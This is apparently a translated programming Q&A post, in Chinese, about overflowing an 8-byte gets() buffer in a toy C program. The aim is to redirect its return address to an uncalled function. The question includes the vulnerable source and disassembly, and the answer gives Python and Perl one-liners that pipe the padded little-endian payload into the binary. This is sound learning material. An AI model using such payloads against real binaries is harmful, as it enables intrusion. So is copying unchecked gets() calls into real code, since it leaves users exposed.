问题描述
我正在尝试对此代码执行缓冲区溢出:
#include <stdio.h>
CanNeverExecute(){
printf ("You should not be seeing this,right?\n");
}
Greet(){
char buf [8];
gets(buf); // This line is vulnerable because "gets" does not perform a length check,it just copies the whole user input
printf ("Good day,%s\n",buf);
}
int main(){
Greet();
return 0;
}
这是反汇编的Greet函数:
080484b1 <Greet>:
80484b1: 55 push %ebp
80484b2: 89 e5 mov %esp,%ebp
80484b4: 53 push %ebx
80484b5: 83 ec 14 sub $0x14,%esp
80484b8: e8 03 ff ff ff call 80483c0 <__x86.get_pc_thunk.bx>
80484bd: 81 c3 43 1b 00 00 add $0x1b43,%ebx
80484c3: 83 ec 0c sub $0xc,%esp
80484c6: 8d 45 f0 lea -0x10(%ebp),%eax
80484c9: 50 push %eax
80484ca: e8 61 fe ff ff call 8048330 <gets@plt>
80484cf: 83 c4 10 add $0x10,%esp
80484d2: 83 ec 08 sub $0x8,%esp
80484d5: 8d 45 f0 lea -0x10(%ebp),%eax
80484d8: 50 push %eax
80484d9: 8d 83 c7 e5 ff ff lea -0x1a39(%ebx),%eax
80484df: 50 push %eax
80484e0: e8 3b fe ff ff call 8048320 <printf@plt>
80484e5: 83 c4 10 add $0x10,%esp
80484e8: 90 nop
80484e9: 8b 5d fc mov -0x4(%ebp),%ebx
80484ec: c9 leave
80484ed: c3 ret
如果我没记错的话,我必须输入 16 个字节来填充缓冲区,因为这条指令分配了 16 个字节,对吗? 80484d5: 8d 45 f0 lea -0x10(%ebp),%eax
所以我可以输入 16 个字符,然后输入 4 个字节的 ebp = 20 个字节 + CanNeverExecute 的地址。地址在 objdump 中显示为 08048486 并且我的机器是小端的,所以我输入了 20 个字节的随机字符 + 地址,如下所示:
AAAAAAAAAAAAAAAAAAAAA\x86\x84\x04\x08
但它不起作用。我找不到错误,请帮助我。
解决方法
当您输入带有转义字符的输入时,您实际上将字符 '\'
、'x'
、'8'
、'6'
等作为单独的 ASCII 编码字节提供。如果字符对应于某种正确的 UTF-8 编码,那么您至少可以通过复制和粘贴来输入它,如果不是通过在键盘上打字的话。但是漏洞利用很少对应于有效的编码,因此另一种方法是使用另一个程序通过易受攻击的二进制文件的输入流提供特定的字节序列。
您可以使用 python
单行来提供包含转义字符的输入:
python3 -c "import sys; sys.stdout.buffer.write(b'AAAAAAAAAAAAAAAAAAAA\x86\x84\x04\x08')" | ./yourbinary
或者使用perl
:
perl -e 'print "AAAAAAAAAAAAAAAAAAAA\x86\x84\x04\x08"' | ./yourbinary